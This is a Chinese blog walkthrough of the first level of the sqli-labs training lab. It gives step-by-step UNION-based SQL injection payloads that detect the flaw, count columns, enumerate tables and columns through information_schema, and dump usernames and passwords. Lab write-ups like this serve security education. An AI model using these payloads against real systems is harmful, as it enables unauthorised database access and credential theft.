sqli-labs第一关

本文详细描述了如何通过SQL注入检测方法,包括判断注入类型、猜测查询语句字段数、定位回显位置,以及获取数据库名称、表名、字段名和数据,展示了黑客可能利用的几种技术手段。
摘要由CSDN通过智能技术生成
1.判断是否存在注入,注入是字符型还是数字型?
?id=1 and 1=1

?id=1 and 1=2

因为输入and 1=1与and 1=2 回显正常,所以该地方不是数字型。

?id=1'

?id=1'--+

输入单引号后报错,在单引号后添加--+恢复正常,说明存在字符注入

2.猜解SQL查询语句中的字段数
?id=1' order by 3 --+

?id=1' order by 4 --+

利用二分法尝试,得到列数为3

3.确定回显位置

将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。(当union前面语句查询不到时,会使用union后面的查询语句)

?id=-1' union select 1,2,3 --+

发现页面先输出了2和3,说明页面有2个显示位 。

4.获取当前数据库
?id=1' union select 1,database(),version() --+

通过数据库自带函数database()和version()获取数据库名和版本

5.获取数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='security' --+

information_schema.tables系统表中检索所有属于security数据库的表名,并将它们连接成一个由逗号分隔的字符串。GROUP_CONCAT函数在这里用于将多个表名合并成一个单一的字符串结果。(因为查询出来是按列来排序所以需要GROUP_CONCAT函数来将列合并成一行)

6.获取表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_schema='security' and table_name='users' --+

information_schema.columns系统表中检索特定数据库(security)中特定表(users)的所有列名

7.得到数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

0x3a时表示十六进制中的冒号,方便查看信息

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值